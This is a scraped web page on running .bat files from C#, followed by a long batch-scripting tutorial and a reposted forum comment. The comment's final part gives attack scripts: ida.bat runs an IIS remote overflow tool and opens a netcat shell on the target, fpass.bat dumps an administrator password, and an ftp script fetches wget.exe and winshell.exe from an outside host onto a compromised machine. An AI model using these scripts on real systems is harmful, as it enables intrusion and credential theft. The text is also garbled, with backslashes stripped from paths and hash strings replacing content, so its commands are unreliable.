Home  >  Article  >  Backend Development  >  c# calls the implementation code of .bat file

c# calls the implementation code of .bat file

黄舟
黄舟Original
2016-12-22 13:53:231826browse

c# Call .bat file
Use namespace: using System.Diagnostics;
System.Diagnostics.Process.Start(Server.MapPath("ah.bat"));
============ ================================================== =======
A file with the extension bat (or cmd under nt/2000/xp/2003) is a batch file
First of all, a batch file is a text file, and each line of this file It is a DOS command (most of the time it is just like the command line we execute at the DOS prompt). You can use Edit under DOS or any text file editing tool such as Windows Notepad to create and modify batch processes. document.
Secondly, a batch file is a simple program that can control the flow of command execution through conditional statements (if) and process control statements (goto). In batch processing, you can also use loop statements (for) to loop through a command. Order. Of course, the programming capabilities of batch files are very limited and very non-standard compared with programming statements such as C language. The program statements of batch processing are DOS commands one by one (including internal commands and external commands), and the ability of batch processing mainly depends on the commands you use.
Third, each written batch file is equivalent to a DOS external command. You can put the directory where it is located in your DOS search path (path) to make it run anywhere. A good habit is to create a bat or batch directory on the hard disk (for example, C:BATCH), and then put all the batch files you write in this directory, so that as long as c:batch is set in the path, you can Run any batch program you write anywhere.
Fourth, under DOS and Win9x/Me systems, the AUTOEXEC.BAT batch file in the root directory of the C: drive is an automatically running batch file. This file will be automatically run every time the system starts. You can set the system to Put the commands that must be run at startup into this file, such as setting the search path, loading the mouse driver and disk cache, setting system environment variables, etc. The following is an example of autoexec.bat running under Windows 98:
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
The role of batch processing
Simply put, the role of batch processing is automatic continuous execution Multiple commands.
Here is the simplest application: when starting the wps software, it must be executed every time (>The previous content represents the DOS prompt):
C:>cd wps
C:WPS>spdos
C:WPS> py
C:WPS>wbx
C:WPS>wps
If you do this every time before using WPS, don’t you find it troublesome?
Okay, using batch processing, you can simplify these troublesome operations. First, we write a runwps.bat batch file with the following content:
@echo off
c:
cdwps
spdos
py
wbx
wps
cd
In the future, every time we enter wps, we only need to run the runwps batch file.
Commonly used commands
echo, @, call, pause, rem (tip: use :: instead of rem) are the most commonly used commands for batch files. Let’s start with them.
echo means displaying the characters after this command
echo off means that all commands run after this statement do not display the command line itself
@ is similar to echo off, but it is added at the front of each command line to indicate running Do not display the command line for this line (only affects the current line).
call calls another batch file (if you call another batch file directly without calling, you will not be able to return to the current file and execute subsequent commands of the current file after executing that batch file).
pause Running this sentence will pause the execution of the batch and display the prompt Press any key to continue... on the screen, waiting for the user to press any key to continue.
rem means that the characters after this command are explanation lines (comments) and will not be executed. , just for future reference (equivalent to comments in the program).
Example 1: Use edit to edit the a.bat file, enter the following content and save it as c:a.bat. After executing this batch file, you can write all the files in the root directory to a.txt, start UCDOS, and enter WPS and other functions.
The content of the batch file is: Command comment:
@echo off Do not display subsequent command lines and the current command line
dir c:*.* >a.txt Write the c drive file list to a.txt
call c: ucdosucdos.bat Call ucdos
Echo hello displays "Hello"
Pause Pause, wait for the key to continue
Rem Prepare to run wps
Note: Prepare to run wps 🎜cd ucdos Enter the ucdos directory
wps Run wps Parameters of the batch file
Batch files can also use parameters like C language functions (equivalent to the command line parameters of DOS commands), which requires the use of a parameter indicator "% ".
%[1-9] represents parameters. Parameters refer to strings separated by spaces (or Tab) added after the file name when running the batch file. Variables can range from %0 to %9, %0 represents the batch command itself, and other parameter strings are represented in sequence from %1 to %9.
Example 2: There is a batch processing file named f.bat in the root directory of C:. The content is:
@echo off
format %1
If you execute C:>f a:
Then when f.bat is executed, %1 It means a:, so format %1 is equivalent to format a:, so when the above command is run, the actual execution is format a:
Example 3: The batch processing file in the C: root directory is named t.bat, and the content is :
@echo off
type %1
type %2
Then run C:>t a.txt b.txt
%1: means a.txt
%2: means b.txt
Then the above command will sequence Display the contents of a.txt and b.txt files accurately.
Special Commands
if goto choice for is a relatively advanced command in batch files. If you are proficient in using these, you are an expert in batch files.
1. If is a conditional statement, used to determine whether the specified conditions are met, thereby deciding to execute different commands. There are three formats:
1. if [not] "parameter" == "string" command to be executed
If the parameter is equal to (not means not equal, the same below) the specified string, then the condition is met and the command is run, otherwise Run the next sentence.
Example: if "%1"=="a" format a:
2. if [not] exist [path] file name command to be executed
If there is a specified file, then the condition is true, run the command, otherwise run the next One sentence.
For example: if exist c:config.sys type c:config.sys
Indicates that if the c:config.sys file exists, its contents will be displayed.
3. if errorlevel c8f01a3f8889dcf657849dd45bc0fc4c Command to be executed
Many DOS programs will return a numeric value after running to indicate the result (or status) of the program. The if errorlevel command can be used to determine the return value of the program. Different commands are executed based on different return values ​​(return values ​​must be arranged from large to small). If the return value is equal to the specified number, the condition is true and the command is run, otherwise the next sentence is run.
For example, if errorlevel 2 goto x2
2. When the goto batch file is run here, it will jump to the label specified by goto (the label is label, and the label is defined with: followed by a standard string). The goto statement is generally used in conjunction with if. Execute different command groups based on different conditions.
For example:
goto end
:end
echo this is the end
The label is defined with ":string", and the line where the label is located will not be executed.
3. choice Use this command to allow the user to enter a character (for selection), thereby returning different errorlevels according to the user's choice, and then cooperate with if errorlevel to run different commands according to the user's choice.
Note: The choice command is an external command provided by DOS or Windows systems. The syntax of the choice command in different versions will be slightly different. Please use choice /? to check the usage.
choice command syntax (this syntax is the syntax of the choice command in Windows 2003, and the command syntax of other versions of choice is similar to this):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
Description:
This tool allows the user to select an item from a choice list and returns the index of the selected item.
Parameter list:
/C choices specifies the choice list to be created. The default list is "YN".
/N Hide the option list in the prompt. The previous message is displayed and the
option is still enabled.
/CS Allows case-sensitive selection. By default, this tool
is case-insensitive.
/T timeout The number of seconds to pause before making the default selection. Acceptable values ​​are from 0
to 9999. If 0 is specified, there will be no pause and the default option
will be selected.
/D choice specifies the default option after nnnn seconds. The character must be in the set of choices specified with the /C option; at the same time, nnnn must be specified with /T.
/M text specifies the message to be displayed before the prompt. If not specified, the tool only displays the prompt.
/? Display help message.
Note:
The ERRORLEVEL environment variable is set to the key index selected from the selection set. The first option listed returns 1, the second option returns 2, and so on. If the key pressed by the user is not a valid selection,
the tool will sound a warning sound. If the tool detects an error condition, it returns an
ERRORLEVEL value of 255. If the user presses Ctrl+Break or Ctrl+C, the tool returns 0
ERRORLEVEL value. When using the ERRORLEVEL parameter in a batch program, sort the parameters in descending order.
Example:
CHOICE /?
CHOICE /C YNC /M "Press Y to confirm, press N to confirm, or press C to cancel."
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "Please choose a for option 1, choose b for option 2."
CHOICE /C ab /N /M "Please choose a for option 1, and choose b for option 2."
If I run the command: CHOICE /C YNC / M "Press Y to confirm, N to confirm, or C to cancel."
The screen will display:
Press Y to confirm, press N to confirm, or press C to cancel. [Y,N,C]?
Example: The content of test.bat is as follows (note that when using if errorlevel to judge the return value, it must be arranged from high to low by the return value):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
After this batch process is run, "defrag,mem,end[D,M,E]?" will be displayed. The user can select d m e, and then the if statement will make a judgment based on the user's selection. d means executing the program segment labeled defrag. m means to execute the program segment labeled mem, and e represents to execute the program segment labeled end. At the end of each program segment, goto end is used to jump the program to the end label, and then the program will display good bye and the batch process ends.
4. For loop command, as long as the conditions are met, it will execute the same command multiple times.
Syntax:
Execute a specific command on each file in a set of files.
FOR %%variable IN (set) DO command [command-parameters]
%%variable specifies a parameter that can be replaced by a single letter.
(set) specifies a file or a group of files. Wildcard characters can be used.
command specifies the command to be executed for each file.
command-parameters
Specify parameters or command line switches for specific commands.
For example, there is a line in a batch file:
for %%c in (*.bat *.txt) do type %%c
The command line will display all files with bat and txt extensions in the current directory content.
Batch processing example
1. IF-EXIST
1)
First create a test1.bat batch file in C: using Notepad. The file content is as follows:
@echo off
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist
Then run it:
C:>TEST1.BAT
If the AUTOEXEC.BAT file exists in C:, then its contents will be displayed. If it does not exist, batch The process will prompt you that the file does not exist.
2)
Then create a test2.bat file with the following content:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
Execute:
C:>TEST2 AUTOEXEC .BAT
The results of running this command are the same as above.
Instructions:
(1) IF EXIST is used to test whether the file exists, the format is
IF EXIST [path + file name] command
(2) %1 in the test2.bat file is a parameter, DOS allows 9 to be passed The batch parameter information is given to the batch file, which is %1~%9 (%0 represents the test2 command itself). This is a bit like the relationship between actual parameters and formal parameters in programming. %1 is a formal parameter and AUTOEXEC.BAT is an actual parameter. .
3) Further, create a file named TEST3.BAT with the following content:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
If you run:
C:>TEST3 A B C
The screen will display:
XIAO
TIAN
XIN
If you run:
C:>TEST3 A B
On the screen It will display
XIAO
TIAN
During the execution of this command, DOS will assign an empty string to the parameter %3.
2. IF-ERRORLEVEL
Create TEST4.BAT with the following content:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO File copy failed
IF ERRORLEVEL 0 ECHO File copied successfully
Then execute the file:
C :>TEST4
If the file copy is successful, the screen will display "File copied successfully", otherwise it will display "File copy failed".
IF ERRORLEVEL is used to test the return value of its previous DOS command. Note that it is only the return value of the previous command, and the return value must be judged in order from largest to smallest.
So the following batch file is wrong:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 0 ECHO Successfully copied the file
IF ERRORLEVEL 1 ECHO The copied file was not found
IF ERRORLEVEL 2 ECHO The user passed ctrl- c Abort the copy operation
IF ERRORLEVEL 3 ECHO Preset error prevents the file copy operation
IF ERRORLEVEL 4 ECHO Disk writing error during the copy process
No matter whether the copy is successful or not, the following:
Copy file not found
The user terminates the copy operation through ctrl-c
Preset error prevents the file copy operation
Disk writing error during the copy process
All will be displayed.
The following are the return values ​​of several common commands and their meanings:
backup
0 Backup successful
1 Backup file not found
2 File sharing conflict prevents backup from being completed
3 User uses ctrl-c to abort backup
4 Due to fatal Error aborts backup operation
diskcomp
0 disk comparison is the same
1 disk comparison is different
2 User aborts comparison operation via ctrl-c
3 Comparison operation aborts due to fatal error
4 Preset error aborts comparison
diskcopy
0 Disk copy The operation was successful
1 Non-fatal disk read/write error
2 The user ended the copy operation through ctrl-c
3 The disk copy was aborted due to a fatal processing error
4 A preset error prevented the copy operation
format
0 The format was successful
3 users Abort the formatting process via ctrl-c
4 The formatting was aborted due to a fatal processing error
5 The user typed n to end under the prompt "proceed with format (y/n)?"
xcopy
0 Successfully copied the file
1 Not found Copy files
2 The user terminates the copy operation through ctrl-c
4 Preset error prevents the file copy operation
5 Disk writing error during the copy process
3. IF STRING1 == STRING2
Create TEST5.BAT, the file content is as follows:
@echo off
IF "%1" == "A" formAT A:
Execute:
C:>TEST5 A
The screen will show whether to format the A: drive.
Note: In order to prevent the parameter from being empty, the string is generally enclosed in double quotes (or other symbols, please note that reserved symbols cannot be used).
For example: if [%1]==[A] or if %1*==A*
5. GOTO
Create TEST6.BAT. The file content is as follows:
@ECHO OFF
IF EXIST C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
Note:
(1) The label is preceded by the ASCII character colon ":", and there cannot be a space between the colon and the label.
(2) The naming rules for labels are the same as those for file names.
(3) DOS supports labels with a maximum length of eight characters. When two labels cannot be distinguished, it will jump to the nearest label.
6. FOR
Create C:TEST7.BAT. The file content is as follows:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
Run:
C:> After TEST7
is executed, the contents of all files with BAT, TXT, and SYS extensions in the root directory of the C: drive will be displayed on the screen (excluding hidden files).
____________________________________________________________________________________________
[Package download] [Quote this article] [Post a comment] [Forward this article] [Close window]
Related comments on this article:
This article has 6 related comments as follows: (Click here to view the forum)
-------------------------------------------------- ----------------------------------
bluekylin Published on: 2004/11/24 10:25pm
win2000 command line batch processing BAT file tips

————————————————————————————————————————————
Article structure
1. Help information for all built-in commands
2. The concept of environment variables
3. Built-in special symbols (be careful to avoid them during actual use)
4. The concept of simple batch files
5. Attachment 1 tmp.txt
6. Attachment 2 sample.bat
######################################### ##########################
1. Help information for all built-in commands
############ ################################################ ########
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
Other needs Commonly used commands
type /?
find /?
findstr /?
copy /?
____________________________________________________________________________
The following will output all the above help to a file
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? > ;>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp .txt
for /? >>tmp.txt
echo shift /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
echo type /? >>tmp.txt 
type /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
copy /? >>tmp.txt 
type tmp.txt 
______________________________________________________ 
###################################################################### 
2. 环境变量的概念 
###################################################################### 
_____________________________________________________________________________ 
C:Program Files>set 
ALLUSERSPROFILE=C:Documents and SettingsAll Users 
CommonProgramFiles=C:Program FilesCommon Files 
COMPUTERNAME=FIRST 
ComSpec=C:WINNTsystem32cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:WINNTsystem32os2dll; 
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:Program Files 
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:WINNT 
TEMP=C:WINNTTEMP 
TMP=C:WINNTTEMP 
USERPROFILE=C:Documents and SettingsDefault User 
windir=C:WINNT 
_____________________________________________________________________________ 
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 
%windir%system32. 这个目录里面. 一般就可以自动搜索到. 
语法: copy mychenxu.exe %windir%system32. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号 
%windir% 变量 
%%windir%% 二次变量引用. 
我们常用的还有 
%temp% 临时文件目录 
%windir% 系统目录 
%errorlevel% 退出代码 
输出文件到临时文件目录里面.这样便于当前目录整洁. 
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 
C:>dir p* 
C: 的目录 
2000-09-02 11:47 2,164 PDOS.DEF 
1999-01-03 00:47 22a3afa6929a2c87025fe3045a234971 Program Files 
1 个文件 2,164 字节 
1 个目录 1,505,997,824 可用字节 
C:>cd pro* 
C:Program Files> 
C:> 
C:>cd "Program Files" 
C:Program Files> 
###################################################################### 
3. 内置的特殊符号(实际使用中间注意避开) 
###################################################################### 
微软里面内置了下列字符不能够在创建的文件名中间使用 
con nul aux / | || && ^ > c466cf0d6319723ba518aa9797805eef, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: 
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) 
To create the variable value new&name, type: 
set varname=new^&name 
To create the variable value "new&name", type: 
set varname="new&name" 
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. 
find "Pacific Rim" 59d50416d161f4da227e812841509628 nwtrade.txt 
IF EXIST filename. (del filename.) ELSE echo filename. missing 
> 创建一个文件 
>> 追加到一个文件后面 
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 
^ 对特殊符号( > aafdbcef954529144cf96c6d88e52c07 aaa 
echo 1231231 > bbb 
() 包含命令 
(echo aa & echo bb) 
, the same default delimiter as space.
; Comment, indicating the following comment
: Label function
| Pipeline operation
& Usage: first command & second command [& third command...]
Using this method, you can execute multiple commands at the same time, regardless of whether the command is executed successfully
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage: first command && second command Command [&& The third command...]
When encountering a command with an execution error, the following commands will not be executed. If there are no errors, all commands will be executed;
|| Usage: The first command || The second command [|| The third command...]
When the correct command is encountered, the following commands will not be executed. If the correct command does not appear, all commands will be executed;
Common syntax format
IF [ NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1" ==="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
Take the parameters in alphabetical order ijklmnopq.
eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines ignored at the beginning of the file.
delims=xxx - refers to the delimiter set. This replaces the default delimiter set for spaces and tabs.
############################################## ####################
4. Simple batch file concept
#################### #################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
The second echo is to append
The third echo will clear a.txt and recreate a.txt
netstat -n | find "3389"
This will list the ips of all users connected to 3389.
______________test.bat____________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem Do not display comment statements , this row displays
@rem does not display comment statements, this line does not display
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir% system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_______________________________________________________________________________
Let’s take a specific idahack program, which is ida remote overflow, as an example. It should be very simple.
____________________________ida .bat_______________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
@if "%1" ==" goto USAGE
@if NOT "%2" ==" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1 :2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck : )" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
____________________________ida.bat__END_______________________________
Let’s go to the second file. It is to get the administrator’s password.
Most people say that they can’t get it .Actually, I didn’t enter the correct information.
_______________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ____________________________Here__pass★★★★★ ★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_______________fpass.bat___END_______________________________________________________________
Another one is that you have logged in to a remote host through telnet. How to upload files (win )
Enter the following things in the window one by one. Of course, you can also copy them all. Ctrl+V. Then just wait!!

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w

The above is the content of the implementation code for calling the .bat file in c#. Please pay attention to more related content. PHP Chinese website (www.php.cn)!


Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn